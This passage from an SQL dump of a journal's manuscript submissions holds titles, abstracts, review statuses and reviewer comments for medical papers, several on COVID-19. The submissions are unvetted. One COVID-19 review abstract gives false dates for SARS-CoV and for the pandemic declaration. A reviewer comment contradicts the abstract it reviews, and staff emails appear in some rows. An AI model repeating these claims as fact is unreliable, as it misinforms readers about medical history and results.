','Neoadyuvant treatment, breast cancer, epirubicin, docetaxel',3142,NULL,'2020-05-18',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,1,'0',NULL,0,'988','leena_t@omicsgroup.co.in',2,0,0,0,NULL,0),(4148,5355,975,0,'ipjbs-20-4148','Effectiveness of psycho-education program for Attitude of family caregivers of Patient’s with Bipolar Effective Disorder, Sudan, 2017- 2019.',NULL,14,0,NULL,'Abstract\r\nBackground: it showed weighed excellent benefits when administered to those with bipolar affective disorders , reducing both re-hospitalization rates and decreasing the number of days a person spends in the hospital .Aim: The study aim  at assessing the effectiveness of psycho-education for Attitude of family caregivers of patients with bipolar affective disorders, Sudan, 2017 to 2018.Methods: This study is a quasi-experimental pre/post-tests hospital based, the sample consisted of (73 pre test and 67 post test) family caregivers who were all available at the hospital during the period of the data collection. They selected by total cover of all family caregivers close with patients. Data was  collected  by  the use of Structured questionnaire to assess the family caregiver attitude by likert scale , data was analyzed  by Statistical Package for Social Science (SPSS) version 20.and presented figure and tables. Results: the study revealed that the attitude  before  psycho- education according to total  mean of scoring were 3.1 which was negative ,  the attitude score was increase after psycho-education the positive according to total mean  scoring were 5.0 . Conclusion & recommendation: Psycho education is improved the attitude among the family caregivers of the patients with Bipolar Affective Disorders, the recommended Primary health care centers medical care can make a positive contribution through psycho-education ,relapse prevention, physical care , by developing  attitude of family caregivers.\r\n',' Attitude of bipolar effective disorder patients, family caregivers ,psycho-education program.',3460,NULL,'2020-05-18',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','can publish the work',0,'','',NULL,0,0,0,NULL,0),(4149,5356,45,0,'iphsj-20-4149','Management suggestions during COVID-19 pandemic for Radiological Technologists.',NULL,16,0,NULL,'Radiologic Technology is used by the Radiological Technologists (RT) who are called to modify the practical adjustment of the radiography and the Computed Tomography (CT) scanner examinations due to pandemic of corona virus disease 19 (COVID-19). This article aims to inform the RT by describing specifically the personal protective equipment (PPE), the appropriate decontamination means, the protective techniques for stable or non-stable equipment, the advice for patient management inside the radiology units and the patient ward and also rational distribution of spaces and staff members, mainly to the hospital that receive COVID-19 patients. RT move between medium and high risk zones and constitute units of potential in-hospital disease spread. Protective measures have to be strictly respected and working spaces have to be modified to ensure the personal and collective security, according always to the current conditions.','Radiologic Technology; COVID-19; Personal Protective Equipment; X-Ray; Computed Tomography Scanner',2801,NULL,'2020-05-18',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4150,5357,251,0,'ipacm-20-4150','CAMOSTAT IN COVID-19',NULL,3,0,NULL,'CAMOSTAT IN COVID-19','covid',781,NULL,'2020-05-18',NULL,'Submitted',4,NULL,'2020-07-15',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(4160,5368,73,0,'ipjnn-20-4160','Gender and Age Difference in Clinical Features and severity of Parkinson’s Disease: A Cross-Sectional Study in Southern Morocco.',NULL,14,0,NULL,'Introduction: Parkinson’s disease (PD) is the most common neurodegenerative disorder after Alzheimer’s. In Morocco, very little is known about its prevalence, progression and characteristics, especially in regions south of country. The aim of this work is to investigate the epidemiological and clinical profile of PD in the patients in southern Morocco. Methods: A cross-sectional descriptive study was conducted on a selected cohort of 180 patients, previously diagnosed with PD. Results: The results showed that the prevalence of PD increased significantly with age, and that the onset of the disease was earlier in female compared to male groups. Importantly, we found that 47.8% of the patients had a positive family history of PD and related diseases. The most important initial symptoms of PD were tremor followed by rigidity and bradykinesia. While the clinical forms were mostly trembling, followed by mixed and akinetic-rigid subtypes. According to the Hoehn and Yahr scale, the majority (82.6%) of patients of both sexes were in the early stage of the disease, while only 10 % were in an advanced stage. Additional statistical analyses, confirmed a strong positive correlation between the Hoehn Yahr stages of the disease and both its duration and the age of patients. Conclusion: This work is a contribution to a better understanding of the Parkinson\'s disease in Morocco and North African countries, in order to develop adapted prevention and treatment strategies, and plan an appropriate health care.','Parkinson’s disease, Gender,Age, clinical profile, Hoehn &Yahr scales.',339,NULL,'2020-05-18',NULL,'Submitted',4,NULL,'2020-08-26',NULL,1,1,'0','Add figures',0,'','',3,0,0,0,NULL,0),(4170,5378,975,0,NULL,'Adaptive Immune Responses to SARS-CoV-2 and Prophylactic Vaccines for COVID-19',NULL,19,0,NULL,'The world experienced the outbreaks of SARS and MERS in the past and now experiencing the pandemic of SARS-CoV-2. Initially the infection was linked to seafood market in Wuhan for that studies were designed and investigation were done to know about the intermediate host of SARS-CoV-2. However, to date, there is no evidences that defines the SARS-CoV-2 specific relationship or association with animals and birds. The number of confirmed cases and deaths are rapidly increasing day by day, but unfortunately, we have no prophylactic agent till date.   It is noted that individuals have strong immune system can wins the race from SARS-CoV-2. The host immunity is divided into innate and adaptive immunity. The innate immunity relies on the activation of interferon 1 and its downstream cascade mechanism. While the adaptive immune responses are cell mediated and greatly relies on the activation of T cells. T helper cells type 1 plays a dominant role in host adaptive immunity to any viral antigen. Antigen presenting cells (APC) activates the cytokines which act as an inducers of T cells responses. However, titer of neutralizing antibodies is directly proportional to T cell Reponses, higher the titer higher will be the responses. Receptor binding domain in spike S1 protein could be considered good vaccine antigen, as it contains regions which induces the production of neutralizing antibodies to prevent attachment of SARS-CoV-2 to ACE2. However, nucleic acid- based vaccine, RNA and DNA vaccine are the advance vaccine platforms against emergency infections.  R0 value of SARS-CoV-2 is 2.2 to 2.6 greater than 1 which means continued transmission can occur. As we have no vaccine and other prophylactic agents. So to reduce transmission, the reduction of R0 value less than 1 is must, for which more than half of the infections must be prevented or controlled. ','Host-pathogen interaction;\r\nAdaptive immunity; \r\nProphylactic vaccines;\r\nSARS-CoV-2; \r\nCOVID-19; \r\nT cells',3460,NULL,'2020-05-19',NULL,'Submitted',4,NULL,'2020-05-27',NULL,1,0,'0',NULL,0,'','',4,0,0,0,NULL,0),(4173,5382,45,0,'iphsj-20-4173','OVERVIEW OF COVID-19: TRANSMISSIONS, DIAGNOSIS AND IMMUNITY SYSTEMS',NULL,15,0,NULL,'(COVID-19) Corona virus towards the end of 2019, an invisible virus pneumonia outbreak occurred in Wuhan (Hubei, China) due to an unknown reason caused by the severe acute respiratory syndrome coronavirus. The virus is expressed in the form of a series of virus’s pneumonia (COVID-19). In January 2020, it was first appeared in human body in the form of severe acute respiratory syndrome coronavirus (SARS-CoV), then in the Middle East in the form of respiratory syndrome coronavirus (MERS-CoV) and in the outer population as (SARS-CoV-2). On February 11, 2020, the Honorable Director General of the World Health Organization (WHO) Dr. Tedros Adhanom Ghebreyesus SARS-CoV-2 named the disease \"COVID-19\". The situation was later declared the pandemic by the WHO on March 20, 2020, when the number of affected countries exceeded a hundred, with more than 100,000 cases detected and more than 4,000 deaths. Corona virus disease 2019 (COVID-19) is an RNA virus and together with a regular crown-like appearance as it lies under an electron microscope whose cover corresponds to the emergence of glycoprotein spikes. The corona virus has now become an epidemic worldwide. It has spread all over the world, started first in China, then in Arabia, Italy, Spain, the United States and Bangladesh. Every moment of which seems to be singing the slogan of death and the number of deaths is increasing. In this review, we provide a brief introduction to the general characteristics of SARS-CoV-2 and discuss current knowledge of immune pathogenesis based on current perceptions of SARS-CoV and MERS-CoV infections, diagnosis, prevention and treatment of SOVID-19, which may be helpful in offering novel insights and potential therapeutic targets for fighting against the SARS-CoV-2 infection. ','COVID-19, Transmissions, Diagnosis, Immunity systems',685,NULL,'2020-05-19',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4174,5383,251,0,'ipacm-20-4174','Antimicrobial activity of ethyl acetate and ethanol seed extracts of Buchholzia coriacea (wonderful kola) against multidrug-resistant clinical isolates of Salmonella species and Escherichia coli',NULL,14,0,NULL,'The increasing failure of chemotherapeutics and antibiotic resistance exhibited by pathogens has led to screening of several medicinal plants for their antimicrobial potentials. This study was designed to determine the efficacy of ethanol and ethyl acetate seed extracts of Buchholzia coriacea against multidrug-resistant E. coli and Salmonella species isolated from urine samples of patients with urinary tract infections (UTIs) visiting Federal Teaching Hospital Abakaliki. One hundred and sixteen (116) bacterial pathogens (E. coli = 80; Salmonella species = 36) isolated from urine samples of UTI patients were subjected to antibiotic susceptibility testing using Kirby-Bauer disc diffusion technique. The antibacterial activity of ethanol and ethyl acetate seed extracts of Buchholzia coriacea against E. coli and Salmonella species was determined using agar well diffusion technique. Phytochemical screening for the presence of bioactive compounds in Buchholzia coriacea was done using standard analytical method. Results showed that E. coli and Salmonella spp were generally susceptible to ertapenem, imipenem, gentamycin, ceftriaxone, and aztreonam but resistant to amoxicillin and nitrofurantoin. Ethanol and ethyl acetate seed extracts of Buchholzia coriacea had no activity against all the test organisms. Phytochemical screening results of Buchholzia coriacea seed extracts indicated the presence of some secondary metabolites such as saponin, tannin, flavonoids, alkaloids, phenolics, and anthocyanins which are beneficial to man\'s health for the prevention and management of diseases/infections. Thus, this study revealed that ertapenem, imipenem, and gentamicin are still active against uropathogenic bacteria (E. coli and Salmonella species) while seed extracts of Buchholzia coriacea were ineffective and cannot be used as an alternative therapeutic choice in treating UTIs. Therefore, it is imperative to carry out awareness campaigns, especially in developing countries, to curtail the trend in consumption of some acclaimed herbal/medicinal plants for the treatment of infectious diseases until scientific study on their therapeutic potentials is carried out.','Buchholzia coriacea, Salmonella spp, Escherichia coli, seed exract, uropathogens ',783,NULL,'2020-05-20',NULL,'Submitted',2,NULL,'2020-06-02',NULL,1,1,'1','Buchholzia coriacea plant extracts have great potentials as antimicrobial compounds against microorganism, thus they can be used in the treatment of infectious diseases caused by the tested isolates. Antimicrobial activity of ethyl acetate and ethanol seed extracts of Buchholzia coriacea (wonderful kola) against multidrug-resistant clinical isolates of Salmonella species and Escherichia coli is the significant research which author had organized well and results are clear. Results are exposed well using graphs and tables for easy understanding. I recommend to publish the manuscript without any changes.',0,'','',NULL,0,0,0,NULL,0),(4178,5387,45,0,'iphsj-20-4178','Review: Differential Diagnosis of Drug-Induced Gingival Hyperplasia and Other Oral Lesions',NULL,15,0,NULL,'Chronic medication usage is a major component of the medical diagnosis of patients. Nowadays, some of the most common diseases such as cancer, hypertension, diabetes and etc., are treated with drugs which cause a variety of oral side-effects including gingival overgrowth and appearance of lesions on the tissues of the oral cavity. As such, drug-induced oral reactions are an ordinary sight in the dental practice. This review will point out the main therapeutic agents causing gingival hyperplasia and other pathologic lesions in the oral cavity. Some frequently used medications, in particular antihypertensives, nonsteroidal anti-inflammatory drugs and even antibiotics, can lead to overgrowth of the gingiva and to the multiple unwanted conditions, namely: lupus erythematosus, erythema multiforme, mucositis, oral lichen planus, pemphigus vulgaris and more. ','Drug-induced oral lesions, gingival hyperplasia, aphthous stomatitis, pemphigus vulgaris, oral lichen planus, mucositis, erythema multiforme, lupus erythematosus, HPV',693,NULL,'2020-05-20',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4183,5382,45,0,'iphsj-20-4183','Recent Development of Anti-Viral Vaccine and Drugs of COVID-19-A Review',NULL,15,0,NULL,'In recent months, strictly to say, each and every day, COVID-19, a pandemic, is being spread severely from country to country, from double to multiple number of patients of the previous count. Though in small number, the research activities on COVID-19 prevention are being adopted from country to country, by scientific researchers to medical practitioners. In this paper, such a summary on research developments on COVID-19 prevention has been drawn. This article can be used as a state of art at this critical moment to the globe for promising invention of anti-viral vaccine and drugs related to the survival of the people from coronavirus.','Covid-19, Vaccine, Drugs, Recent developments',651,NULL,'2020-05-20',NULL,'Submitted',4,NULL,'2020-07-21',NULL,1,1,'1','Accepted',0,NULL,NULL,3,0,0,0,NULL,0),(4187,3790,73,0,'ipjnn-20-4187','Hematologic Predictors of Endovascular Retreatment for Recurrent Vasospasm in Aneurysmal Subarachnoid Hemorrhage',NULL,14,0,NULL,'Background - Endovascular intervention has become a common approach to cerebral vasospasm following aneurysmal subarachnoid hemorrhage. Patients who suffer from recurrent vasospasm often require multiple treatments, and limited investigations have assessed predictors of retreatment with inconsistent results. \r\n\r\nMethods - All aneurysmal subarachnoid hemorrhage patients who received endovascular treatment for management of vasospasm were identified. Baseline and outcome data including patient demographics, aneurysm and vasospasm specifications, management of aneurysmal subarachnoid hemorrhage and subsequent vasospasm(s), and various hematologic variables were assessed. \r\n\r\nResults - Sixty-nine patients received endovascular treatment; twenty-nine required retreatment for recurrent vasospasm. In multivariate logistic regression analysis, higher lymphocyte count on day of initial vasospasm (OR=2.58, 95% CI=1.04—6.38) and shorter time to initial vasospasm (OR=0.68, 95% CI=0.51—0.91) were found to be predictors of retreatment.\r\n\r\nConclusion - Elevated lymphocyte count at the onset of vasospasm in patients requiring treatment for cerebral vasospasm may be indicative of a predisposition to vasospasm recurrence. The monitoring of lymphocyte count would be a novel approach to the early identification of recurrent vasospasm and improve selection of patients who may require retreatment.','Subarachnoid Hemorrhage\r\nAneurysm\r\nCerebral Vasospasm\r\nEndovascular Procedure',338,NULL,'2020-05-20',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','accept with revision.',0,NULL,NULL,NULL,0,0,0,NULL,0),(4190,5400,45,0,'iphsj-20-4190','REFERENCE SYSTEM FROM HEALTH LEVELS TO EMERGENCY CLINIC CENTER  IN KOSOVO ',NULL,14,0,NULL,'The process of patient referral system at the level of health care is a comprehensive institutional framework with responsible, well-defined competencies, as a network of cooperation with the general goal of maintaining health, treatment, stabilization, transport and medical care up to in the complete recovery of the sick. The process of patient referral system in most countries in Europe and in the world is a challenge for most developing and developed countries. The mechanisms of the referral system function at different national, regional and municipal levels based on national laws and policies and work on the basis of efficient lines of communication by creating clear and simple steps and procedures described. The referral system in Kosovo is disorganized, chaotic, the Ministry of Health must have a national document of the referral system for patients at the health level, and before that all health care professionals are educated, trained on the way of the referral system, which cases must be sent from the primary, secondary and tertiary level. At the national level, the National Coordinating Council with a national plan of the patient referral system can convey the quality; help the health care professionals based on the current health legislation, the harmonization of unique standardized protocols with follow-up guidelines. Patients at the country level.','Referral system, patients, level, primary, secondary, tertiary, health care, national document\r\n\r\n\r\n\r\n',643,NULL,'2020-05-21',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4191,5402,667,0,'iptb-20-4191','Unravelling the Role of Stem Cells in Chronic Myeloid Leukaemia and Potential Treatments ',NULL,15,0,NULL,'Chronic Myeloid Leukaemia (CML) is a disorder of the haematopoietic system characterised by the malignant clonal growth of bone marrow cells, specifically haematopoietic stem cells (HSCs), which are capable of giving rise to all lineages of blood cells. In essence, CML is a condition where transformed HSCs give rise to cells of myeloid lineage, e.g. platelets, neutrophils etc, causing them to accumulate in the circulating blood. The aim of this paper was to understand and review the role of stem cells (SCs) and Cancer Stem Cells (CSCs) in CML, current strategies for targeting CSCs, potential targets for CML CSC treatment such as histone deacetylase inhibition, autophagy inhibitors, p53 activation by SIRT1 inhibitors, HIF inhibition, and the regulation of c-myc. \r\n','chronic myeloid leukaemia, stem cells, cancer',3512,NULL,'2020-05-21',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(4194,5405,86,0,'ipaom-20-4194','Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi',NULL,14,0,NULL,'Background:Tuberculosis (TB)still remains a major health issue in Pakistan, despite the introduction of directly observed treatment short course strategy (DOTS) by World Health Organization (WHO) in 1995. Major progress towards the disease control, however is achieved after the revival of national tuberculosis control (NTP) program in 2001. Between 2002 and 2007, DOTS coverage increased from 44% to 99%, but there are still large and persistent gaps in detection and treatment. We conducted this study, to see prevalence and treatment outcome among TB patients who completed treatment under DOTS strategy over 15 years. Primary endpoint: To determine treatment outcome of all types of TB from 2004 till 2018 in a primary care center (PHC) in Karachi. Secondary endpoint:To determine the prevalence, predominant site,and number of new verses retreatment cases of TB.\r\nMethods: It is a cross-sectional descriptive study, conducted at a PHC Centre, affiliated with Family medicine department of Ziauddin university hospital, Clifton Karachi. This Centre also functions as basic management unit (BMU) for tuberculosis control under DOTS strategy since 2004, in collaboration with NTP, Pakistan. Data was collected from January 1st 2004 till December 31st 2018. Among all subjects who visited the center, those who had cough for more than 2 weeks, were screened for pulmonary tuberculosis (PTB). Extra pulmonary tuberculosis(EPTB) was diagnosed on relevant investigations.Aftertreatment completion, their outcome was analyzed.\r\nResults:  Out of 41615 patients who visited PHC center, 454 patients (1.1%) had TB. 74.7% subjects were diagnosed having PTB while 25.3% had EPTB. 81% subjects completed TB treatment, 1.32% failed to respond to the treatment, 1.1% subjects died during the course of the disease, 15% were lost to follow up and 1.32% moved to another facility. 94.9% (431) subjects were new patients, while 5% (23) were retreatment patients. 88% subjects of PTB were sputum smear positive(SSP) and 12% had sputum smear negative (SSN) PTB.\r\nConclusion: In conclusion, this study documented the prevalence of TB in a slum community of 100,000 inhabitants, who visited the PHC Centre in their locality.Standard DOTS guidelines were used for screening, diagnosis and treatment of the subjects. Strengthening screening methods and diagnostic procedures, will bring about more confirmed cases of TB andunder reporting will be reduced. Strict surveillance of subjects on treatment will improved treatment outcome, and will decrease future development of multi drug resistant TB.','(Multi-drug resistant Tuberculosis) MDR TB, (extensively drug resistant tuberculosis) XDR TB, Gene x-pert',3031,NULL,'2020-05-21',NULL,'Submitted',2,NULL,'2020-10-19',NULL,1,1,'0','Accept',0,'','',2,0,0,0,NULL,0),(4197,5408,975,0,NULL,'Numerical simulation of isothermal gas−liquid flow patterns in microchannels with varying wettability',NULL,14,0,NULL,'Microchannel technology has attracted great interest due to its potential for process intensification and design of compact devices. In this study, isothermal gas−liquid flow patterns (Taylor and stratified) developed in a rectangular microchannel were numerically evaluated through the volume of fluid (VOF) model. Hydrophilic (w = 25â—¦) and hydrophobic (w = 105â—¦) microchannels were investigated. The numerical results were compared with experimental data. A comparison between numerical and experimental data and some available correlations showed good agreement. At similar feeding conditions, the model was able to capture the different gas−liquid flow patterns expected when the wall contact angle is varied. Thus, this work elucidated the use of CFD for the evaluation of the impact of variations of the wall wettability on isothermal gas−liquid flow patterns developed in microchannels. This procedure can be used as a source of preliminary information on the flow morphology expected in microfluidic devices subjected to superficial treatment.','Microchannel, Gas−liquid flow, Isothermal flow patterns, Surface wettability, CFD',3460,NULL,'2020-05-21',NULL,'Submitted',4,NULL,'2020-06-03',NULL,1,0,'1',NULL,0,'2592','smruthi_r@meetingsint.co.in',2,0,0,0,NULL,0),(4198,5410,975,0,NULL,'Numerical simulation of isothermal gas−liquid flow patterns in microchannels ',NULL,14,0,NULL,'Microchannel technology has attracted great interest due to its potential for process intensification and design of compact devices. In this study, isothermal gas−liquid flow patterns (Taylor and stratified) developed in a rectangular microchannel were numerically evaluated through the volume of fluid (VOF) model. Hydrophilic (w = 25â—¦) and hydrophobic (w = 105â—¦) microchannels were investigated. The numerical results were compared with experimental data. A comparison between numerical and experimental data and some available correlations showed good agreement. At similar feeding conditions, the model was able to capture the different gas−liquid flow patterns expected when the wall contact angle is varied. Thus, this work elucidated the use of CFD for the evaluation of the impact of variations of the wall wettability on isothermal gas−liquid flow patterns developed in microchannels. This procedure can be used as a source of preliminary information on the flow morphology expected in microfluidic devices subjected to superficial treatment.','Microchannel, Gas−liquid flow, Isothermal flow patterns, Surface wettability, CFD',3460,NULL,'2020-05-21',NULL,'Submitted',4,NULL,'2020-06-03',NULL,1,0,'1',NULL,0,'2592','smruthi_r@meetingsint.co.in',2,0,0,0,NULL,0),(4199,5411,975,0,'ipjbs-20-4199','Numerical simulation of isothermal gas−liquid flow in microchannels ',NULL,14,0,NULL,'Microchannel technology has attracted great interest due to its potential for process intensification and design of compact devices. In this study, isothermal gas−liquid flow patterns (Taylor and stratified) developed in a rectangular microchannel were numerically evaluated through the volume of fluid (VOF) model. Hydrophilic (w = 25â—¦) and hydrophobic (w = 105â—¦) microchannels were investigated. The numerical results were compared with experimental data. A comparison between numerical and experimental data and some available correlations showed good agreement. At similar feeding conditions, the model was able to capture the different gas−liquid flow patterns expected when the wall contact angle is varied. Thus, this work elucidated the use of CFD for the evaluation of the impact of variations of the wall wettability on isothermal gas−liquid flow patterns developed in microchannels. This procedure can be used as a source of preliminary information on the flow morphology expected in microfluidic devices subjected to superficial treatment.','Microchannel, Gas−liquid flow, Isothermal flow patterns, Surface wettability, CFD',3460,NULL,'2020-05-21',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','can proceed for publication.',0,'2592','smruthi_r@meetingsint.co.in',NULL,0,0,0,NULL,0),(4200,5382,45,0,'iphsj-20-4200','COVID-19 Pandemic: Demographic Aspects and Therapeutic Options-A Review',NULL,15,0,NULL,'The coronavirus disease 19 COVID-19 is a kind of viral pneumonia, which is caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). It emerged in Wuhan, China and spread around the world. Though a few broad-spectrum antiviral drugs have been evaluated against COVID-19 in clinical trials, there is no worldwide clinically approved antiviral drug or vaccine available against SARS-CoV-2.  Therefore, this virus is spreading rapidly all over the world. Since COVID-19 is increasing rapidly, our aim is to reveal the infectious characteristics of this pandemic disease based on social, demographic, and environmental factors. In this review, we summarize the epidemiology, transmission, controlling, future projections, and demographic factors which will help to make effective directions to control the spread of this fatal disease.','COVID-19, Demographic Aspects, Therapeutic Options, Epidemiology, Future Projections',686,NULL,'2020-05-21',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4201,5413,251,0,NULL,'Program Against Cancer in South Sudan',NULL,14,0,NULL,'Worldwide, one in eight deaths is due to cancer. Projections based on the GLOBOCAN 2012 estimates predict a substantive increase new cancer cases per year by 2035 in developing countries if preventive measures are not widely applied. According to the World Health Organization (WHO), millions of lives could be saved each year if countries made use of existing knowledge and the best cost-effective methods to prevent and treat cancer. Therefore, the aim of this study is to estimate a provisional budget against cancer in low and middle incomes countries, according the GNI-PPP, the cancer incidence and the number of population.Economically country classification is determining with the Gross national income (GNI), per capita, Purchasing power parity (PPP), according the administrations of the International Monetary Fund (IMF), the World Bank (WB) and the Central Intelligence Agency (CIA). Cancer incidence data presented are based on the most recent data available at IARC. However, population compares estimates from the US Bureau of the Census. The provisional budget is establishing among the guidelines developed by WHO for regional and national cancer control programs according to national economic development. Provisional budget against cancer is estimated to 71,973.042 (thousands of U.S $) for a population of 13,026,129 persons in South Sudan.','Cancer Program;Cancer Control;Prevention;Early Detection; Institutional Reinforcement;Diagnosis;Treatment; Low and Middle-Income Countries; South Sudan.',781,NULL,'2020-05-21',NULL,'Submitted',4,NULL,'2020-05-26',NULL,1,0,'1',NULL,0,'2525','revathi_ru@omicsgroup.co.in',2,0,0,0,NULL,0),(4209,5421,45,0,'iphsj-20-4209','The burden of Sickle Cell Disease at a tertiary hospital in Malawi',NULL,14,0,NULL,'Abstract\r\nGlobally, there are 300,000 births per year of children with Sickle Cell Disease (SCD) and over 90% in Africa.  There is paucity of data on its burden in Malawi which is critical in the development of disease specific interventions. \r\nA retrospective review of clinical files of children with SCD was conducted.  Data were analysed using Stata, version 13.0. Chi Square (or Fisher’s exact) test was used to look for significant associations between variables.  A binomial logistic regression was used to quantify the association between predictor and outcome variables.  \r\nFrom July 2016 to June 2019, a total of 16, 333 admissions were made, of which, 512 were SCD patients representing 3.1%.  About 13.2% were diagnosed in infancy. Anaemia (94.1%), septicaemia (79.5%) and painful crisis (54.3%) were the common complications.  Patients with painful crisis, splenic and hepatic sequestration were 1.7, 2.1 and 2.4 times respectively more likely to be admitted for more than 5 days than those without these complications.  \r\nOur study has shown that SCD contributes a significant burden in Malawi with anaemia, septicaemia and painful crisis being the common complications, highlighting the need to invest more effort in disease management and control.\r\n\r\n','Key words: sickle cell disease, burden, children,  neonatal screening, Malawi',685,NULL,'2020-05-21',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4215,5428,251,0,'ipacm-20-4215','Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient ',NULL,2,0,NULL,'The coronavirus disease 2019 (COVID-19) emerged in December 2019 and has rapidly spread worldwide. The overall mortality rate differs between regions, countries and different patients risk factors. With many infections, immunocompromised patients often present with signs and symptoms that are atypical. Herein we report a case of a SARS-CoV-19 infection in a patient with chronic lymphocytic leukemia (CLL) and describe the clinical course, diagnosis, and management of the case. The initial presenting clinical symptoms were dyspnea and cough, followed by sore throat and headache and progression to pneumonia. He was admitted once more with dry cough and fever, without dyspnea after 42 days and treated with 400 mg/kg body weight intravenous immunoglobulin (IVIG) single dose. This case highlights the importance of COVID-19 infection in immunocompromised patients which would be considered in the presence of different presentation and screening procedures. In conclusion, the differential diagnosis of COVID-19 should be pursued when investigating in CLL patient with signs and symptoms of pneumonia.','COVID-19; Pneumonia; Chronic lymphocytic leukemia',781,NULL,'2020-05-22',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','COVID-19 is a viral infection which is causing chronic pulmonary issues. The article is well explained about everything and good to publish. Pneumonia is the problem that is affecting all the infected people and it is leading to death in many cases. Case report is good written and good to proceed further.\r\n',0,'','',NULL,0,0,0,NULL,0),(4216,5429,277,0,'ipadm-20-4216','IMPACTO DE LA OBESIDAD EN EL CURSO DE LA ENFERMEDAD POR SARS-CoV-2.',NULL,15,0,NULL,'Objetivo: Describir la asociación y frecuencia de la obesidad, en pacientes fallecidos por COVID-19 en Colombia.  \r\nMateriales y métodos: Se realizó un estudio descriptivo transversal con 378 pacientes fallecidos por COVID-19 en Colombia, entre el periodo comprendido de el 21 de marzo de 2020 hasta el 5 de mayo de 2020, donde se realizó una búsqueda de datos individualizada en cada paciente con las fuentes disponibles en Colombia, que brindan al respecto.\r\nResultados: Se halló que 311 pacientes presentaron alguna clase de comorbilidad, 274 estaban sobre los 60 años. La obesidad ocupó el 4to lugar en frecuencia con 46 pacientes correspondiente al (12.1%).\r\nConclusión: La obesidad y patologías metabólicas asociadas a esta, podrían ayudar a definir la mejor conducta clínica posible de cada paciente e impactar en el pronóstico de estos pacientes. \r\n','SARS-CoV-2, COVID-19, Infección por Coronavirus, peso corporal, obesidad ',2805,NULL,'2020-05-22',NULL,'Submitted',4,NULL,'2022-09-23',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(4218,5431,667,0,'iptb-20-4218','Open Data: The Implications on Privacy in Healthcare Research ',NULL,3,0,NULL,'The advent of open data in healthcare has increased healthcare innovation, with the publication of complete datasets aggregated by private and public entities that leads to efficiency through crowdsourcing working code, facilitating research into personalized medicine, and publishing reproducible data pipelines for experimental validation.\r\n\r\nHowever, there lacks an internationally recognized definition for health data governance at the scope of individual health data and open source big data which brings about a discussion about the implications of open data on data privacy. First, healthcare data sourced directly from public healthcare systems; by whom and for what purpose is this data used for within the context of healthcare research. Second, health data from private research; the regulations needed for mutual disclosure. Third, personal user-generated health data; safeguards in a digital era needed to prevent misappropriation and abuse. \r\n\r\nThis paper addresses the opportunities of open data in healthcare research in a digital age without transparent regulation. The consequence of open data on privacy leads to a framework of four safeguards for stakeholders: public education, operational transparency, regulation for accountability and validation of research ethics. It also pioneers public policy direction for a balanced agenda between privacy and healthcare research. \r\n','Healthcare, Informatics, Data Infrastructure, Policy, Open Data',3322,NULL,'2020-05-22',NULL,'Submitted',4,NULL,'2020-07-23',NULL,1,1,'0','Accept',0,'','',3,0,0,0,NULL,0),(4226,5440,86,0,'ipaom-20-4226','A case of COVID-19 pneumonia complicated by pericardial effusion.',NULL,2,0,NULL,'In December 2019 the Coronavirus disease  was identified in China. Later, the Covid-19 pandemic has spread globally including Ukraine. Medical centers have performed screening to identify potential cases and isolate them during evaluation. We describe a case of COVID-19 Pneumonia that presented with dyspnea, cough, low-grade fever and significant pericardial effusion. The patient at the time of the examination did not have concomitant chronic diseases. Therefore, we believe that most likely hydropericardium was a complication of coronavirus pneumonia.','COVID-19,  hydropericardium, pneumonia, pericardial effusion. ',3386,NULL,'2020-05-22',NULL,'Submitted',4,NULL,'2020-07-14',NULL,1,1,'0','Dear Author/s, \r\nThe final decition of the first review round is \"Revise\"\r\nPlease modify the manuscript according to thre reviewers notes.\r\nThank you for your interest in submitting to our journal.\r\nBest Regards,\r\nThe Editor',0,'','',2,0,0,0,NULL,0),(4230,5444,45,0,'iphsj-20-4230','Hand Washing Practices during Coronavirus (COVID-19) Outbreak among Sudanese People ',NULL,14,0,NULL,'Abstract \r\nIntroduction: Hands hygiene practice is the simple and important procedure to reduce the spread of infection in the community and health care settings during Coronavirus (COVID-19) outbreak\r\nObjective: To assess hands washing practices among Sudanese population during Coronavirus (COVID-19) outbreak. \r\nMethodology: This is a cross-sectional study was conducted among Sudanese population immediately after the lockdown of Sudan states. Data was collected online by close ended questionnaire. Relying on authors’ networks with local people living in Khartoum and other states using, such as WhatsApp messengers and face-book accounts. \r\nResults: result showed that 41.1% of the respondents washing their hands with water only while 87.9% washed them with soap and water, 51.1% of the respondents washed their hand before meal with water only and 59.6% of them washed their hands before meal by using soap and water .The result also revealed that, 83.7% of the respondents washed their hands after going to the toilet, while 33.3% of them washed their hand after sneezing and coughing. Washing hands after hand shaking, handling money and touching animals and garbage were reported by 56.7%, 60.3%, 82.3% and 91.5% respectively. Length of time of washing hands among the respondents was reported as follows: 1-5sec, (9.2%), 6-10 sec (16.3%), 11-15 sec (14.9%), 16-20sec (28.4%), and more than 20 second (31.2%). Number of times spending in washing hands with soap under running water was reported as follows 6.4% one time /day, 27 % (2-4/day), 30.5 %(5-7/day) while 36.1% washed their hands  regularly and 72.3% of them had hands washing facilities at home.Gender and educational levels were significantly associated with length of times spending in hands washing (P=.000), all of the females in the present study washed their hands for more than 20 minutes. Age and occupation were also significantly associated with washing hands with soap & water (P=.000).\r\n Conclusion and recommendation: The study concluded that, the majority 